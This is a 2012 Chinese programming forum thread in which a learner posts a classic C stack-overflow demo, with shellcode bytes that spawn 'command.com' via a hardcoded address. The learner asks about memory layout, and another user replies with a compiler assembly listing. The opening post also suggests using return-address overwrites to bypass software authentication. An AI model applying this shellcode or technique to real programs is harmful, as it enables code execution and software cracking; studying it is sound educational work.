| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1492 人关注过本帖
标题:一段程序求姐
只看楼主 加入收藏
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
结帖率:59.52%
收藏
已结贴  问题点数:20 回复次数:41 
一段程序求姐
#include <string.h>
#include "stdio.h"
char shellcode[] =
{
0x8B,0xE5, 0x55,0x8B,0xEC,0x83,0xEC,0x0C,0xB8,
0x63,0x6F,0x6D,0x6D,0x6D,0x6D,0x6F,0x63,0x89,
0x45,0xF4,0xB8,0x61,0x6E,0x64,0x2E,0x89,0x45,
0xF8,0xB8,0x63,0x6F,0x6D,0x22,0x89,0x45,0xFC,
0x33,0xD2, 0x88,0x55,0xFF, 0x8D,0x45,0xF4,
0x50, 0xB8,0x24,0x98,0x01,0x78, 0xFF,0xD0
};
char large_string[128];
void main(){
    char buffer[96];
    int i;
    int *larg_ptr=large_string;      //将char字符数组的首地址赋值给一个int 类型的指针,进行int 格式的引用,针对内存的读取方式改变
    for(i=0;i<32;i++)                 
        *(larg_ptr+i)=buffer;    // 将32位buffer的地址放入large_string 的整个数据块中
    for(i=0;i<strlen(shellcode);i++)
        large_string[i]=shellcode[i];   //将shellcode的内容按照字节方式放进large_string中
    strcpy(buffer,large_string);        //字符的copy 将larg_string 数据块复制到buffer所指向的数据块中,按字符方式进行
    for(i=0;i<24;i++)
        printf("%d\n",((int*)buffer)[i]);      //这里是强制类型转换输出结果,意思是将char型指针内型强制转换成int型进行内存操作
        printf("%d\n",buffer);
}
疑问1. 打印buffer的地址 与  printf("%d\n",((int*)buffer)[i]); 的对比  
数组larger[128]首先全部存放buffer地址后,再将shellcode[] 从头放进去 也就是larger里面存放内容应该是52个字节的 shellcod里的内容 +(128-52)/4个buffer  的地址 组成的
通过函数strcpy  将larger数组的内容copy到这个buffer[96]中
那么这个buffer[96]里面就应该包含了shellcode的内容 和11个buffer的地址

那么对数组buffer[]的打印里应该有 buffer的地址值在里面
打印出来的结果除了  一个数值是和 buffer的地址相同外 其他的都不相同  , 求解释

疑问2   在函数中 有两个全局变量 和 局部变量 buffer[]  
利用printf()出 这几个变量的内存地址  发现 局部变量和 全局变量根本就不在同一内存块中

操作系统在调用main函数的时候 是首先将要传送给main函数的变量先入栈后 还有eip入栈后 在进行函数调用
函数调用的序前工作是
设置堆栈
pushl ebp
movl ebp,esp
subl esp,xx
函数运行过程中变量需要的内存大小 是有xx 决定的
要多大就给多大的内存
从esp所指的地方开始 按变量声明的顺序逆序的从低地址向高地址存放
 这个在局部变量中 是成立的
这个全局变量在内存中 怎么开辟的数据区域  求解释


另附带对程序附带作用,这个是最基本的 数据堆栈溢出的程序
就是利用写内存的方式 将内存区的 函数返回地址ret点的数据修改成指向数组buffer的地址上,而这个地址上放的是可执行的机器码 来达到运行自己想要的程序
这个方式是直接将机器码写进去

还有一种方法是写跳转指令 jmp  来达到这个目的
首先肯定是要将自己的程序写进内存中

中心思想是修改ret 程序还回的地址值
嘿嘿,这个可以用来绕过某些程序的运行跳到程序的另一部分去运行的,这个对破解软件来说 最好是这样就能躲过什么认证 什么认证的

还附带一个问题
int main()
{
  printf("%d,%d\n",main,&main);
}
这个程序里的main和&main的值分别代表的什么意思啊 两个值打印出来一摸一样  这个不好理解啊


[ 本帖最后由 zhu224039 于 2012-11-21 05:31 编辑 ]
搜索更多相关主题的帖子: include 
2012-11-21 04:23
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
坛子里也不让上传图片了,郁闷 只好用文字表达了
这么小一个程序学问真的不少啊
求姐啊,有木有人在啊

[ 本帖最后由 zhu224039 于 2012-11-21 05:18 编辑 ]

我要成为嘿嘿的黑客,替天行道
2012-11-21 04:48
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:20 
这段代码 必须 反汇编着看。。。研究中。。。

自由、民主、宪政!
2012-11-21 08:57
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
程序代码:
; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 

    TITLE    D:\Microsoft Visual Studio 9.0\VC\a.c
    .686P
    .XMM
    include listing.inc
    .model    flat

INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES

PUBLIC    _shellcode
_DATA    SEGMENT
COMM    _large_string:BYTE:080H
_shellcode DB    08bH
    DB    0e5H
    DB    055H
    DB    08bH
    DB    0ecH
    DB    083H
    DB    0ecH
    DB    0cH
    DB    0b8H
    DB    063H
    DB    06fH
    DB    06dH
    DB    06dH
    DB    06dH
    DB    06dH
    DB    06fH
    DB    063H
    DB    089H
    DB    045H
    DB    0f4H
    DB    0b8H
    DB    061H
    DB    06eH
    DB    064H
    DB    02eH
    DB    089H
    DB    045H
    DB    0f8H
    DB    0b8H
    DB    063H
    DB    06fH
    DB    06dH
    DB    022H
    DB    089H
    DB    045H
    DB    0fcH
    DB    033H
    DB    0d2H
    DB    088H
    DB    055H
    DB    0ffH
    DB    08dH
    DB    045H
    DB    0f4H
    DB    050H
    DB    0b8H
    DB    024H
    DB    098H
    DB    01H
    DB    078H
    DB    0ffH
    DB    0d0H
$SG3301    DB    '%d', 0aH, 00H
$SG3302    DB    '%d', 0aH, 00H
_DATA    ENDS
PUBLIC    __$ArrayPad$
PUBLIC    _main
EXTRN    _printf:PROC
EXTRN    _strcpy:PROC
EXTRN    _strlen:PROC
EXTRN    ___security_cookie:DWORD
EXTRN    @__security_check_cookie@4:PROC
; Function compile flags: /Odtp
_TEXT    SEGMENT
_buffer$ = -112                        ; size = 96
__$ArrayPad$ = -12                    ; size = 4
_larg_ptr$ = -8                        ; size = 4
_i$ = -4                        ; size = 4
_main    PROC
; File d:\microsoft visual studio 9.0\vc\a.c
; Line 13
    push    ebp
    mov    ebp, esp
    sub    esp, 112                ; 00000070H
    mov    eax, DWORD PTR ___security_cookie
    xor    eax, ebp
    mov    DWORD PTR __$ArrayPad$[ebp], eax
; Line 16
    mov    DWORD PTR _larg_ptr$[ebp], OFFSET _large_string
; Line 17
    mov    DWORD PTR _i$[ebp], 0
    jmp    SHORT $LN9@main
$LN8@main:
    mov    eax, DWORD PTR _i$[ebp]
    add    eax, 1
    mov    DWORD PTR _i$[ebp], eax
$LN9@main:
    cmp    DWORD PTR _i$[ebp], 32            ; 00000020H
    jge    SHORT $LN7@main
; Line 18
    mov    ecx, DWORD PTR _i$[ebp]
    mov    edx, DWORD PTR _larg_ptr$[ebp]
    lea    eax, DWORD PTR _buffer$[ebp]
    mov    DWORD PTR [edx+ecx*4], eax
    jmp    SHORT $LN8@main
$LN7@main:
; Line 19
    mov    DWORD PTR _i$[ebp], 0
    jmp    SHORT $LN6@main
$LN5@main:
    mov    ecx, DWORD PTR _i$[ebp]
    add    ecx, 1
    mov    DWORD PTR _i$[ebp], ecx
$LN6@main:
    push    OFFSET _shellcode
    call    _strlen
    add    esp, 4
    cmp    DWORD PTR _i$[ebp], eax
    jae    SHORT $LN4@main
; Line 20
    mov    edx, DWORD PTR _i$[ebp]
    mov    eax, DWORD PTR _i$[ebp]
    mov    cl, BYTE PTR _shellcode[eax]
    mov    BYTE PTR _large_string[edx], cl
    jmp    SHORT $LN5@main
$LN4@main:
; Line 21
    push    OFFSET _large_string
    lea    edx, DWORD PTR _buffer$[ebp]
    push    edx
    call    _strcpy
    add    esp, 8
; Line 22
    mov    DWORD PTR _i$[ebp], 0
    jmp    SHORT $LN3@main
$LN2@main:
    mov    eax, DWORD PTR _i$[ebp]
    add    eax, 1
    mov    DWORD PTR _i$[ebp], eax
$LN3@main:
    cmp    DWORD PTR _i$[ebp], 24            ; 00000018H
    jge    SHORT $LN1@main
; Line 23
    mov    ecx, DWORD PTR _i$[ebp]
    mov    edx, DWORD PTR _buffer$[ebp+ecx*4]
    push    edx
    push    OFFSET $SG3301
    call    _printf
    add    esp, 8
    jmp    SHORT $LN2@main
$LN1@main:
; Line 24
    lea    eax, DWORD PTR _buffer$[ebp]
    push    eax
    push    OFFSET $SG3302
    call    _printf
    add    esp, 8
; Line 25
    xor    eax, eax
    mov    ecx, DWORD PTR __$ArrayPad$[ebp]
    xor    ecx, ebp
    call    @__security_check_cookie@4
    mov    esp, ebp
    pop    ebp
    ret    0
_main    ENDP
_TEXT    ENDS
END

自由、民主、宪政!
2012-11-21 08:58
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
敢问楼上的 你那个汇编是怎么弄出来的啊

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:04
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
能不能在汇编前面弄出个地址出来啊

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:05
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
以下是引用zhu224039在2012-11-21 09:04:17的发言:

敢问楼上的 你那个汇编是怎么弄出来的啊

用vc++的命令行模式编译。。。

D:\Microsoft Visual Studio 9.0\VC>cl /FA a.c
用于 80x86 的 Microsoft (R) 32 位 C/C++ 优化编译器 15.00.30729.01 版
版权所有(C) Microsoft Corporation。保留所有权利。

a.c
a.c(16) : warning C4133: “初始化”: 从“char *”到“int *”的类型不兼容
a.c(18) : warning C4047: “=”: “int”与“char *”的间接级别不同
Microsoft (R) Incremental Linker Version 9.00.30729.01
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:a.exe
a.obj

D:\Microsoft Visual Studio 9.0\VC>

自由、民主、宪政!
2012-11-21 09:05
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
这段代码   没学过汇编语言   和对C语言有深入了解 估计是  搞不定了

自由、民主、宪政!
2012-11-21 09:09
zhu224039
Rank: 8Rank: 8
等 级:贵宾
威 望:17
帖 子:862
专家分:792
注 册:2012-7-29
收藏
得分:0 
D:\Microsoft Visual Studio 9.0\VC>cl /FA a.c

为什么我的 vc里面没有 cl 这个东西啊 、

我要成为嘿嘿的黑客,替天行道
2012-11-21 09:10
lwb603569640
Rank: 6Rank: 6
等 级:侠之大者
威 望:2
帖 子:283
专家分:436
注 册:2012-11-9
收藏
得分:0 
以下是引用zhu224039在2012-11-21 09:05:37的发言:

能不能在汇编前面弄出个地址出来啊

可以   这样要用linux平台下的工具了。。。现在这机器没装。。。。我上传了一本书  叫 linux  c一站式编程  上面有提及

自由、民主、宪政!
2012-11-21 09:11
快速回复:一段程序求姐
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.017503 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved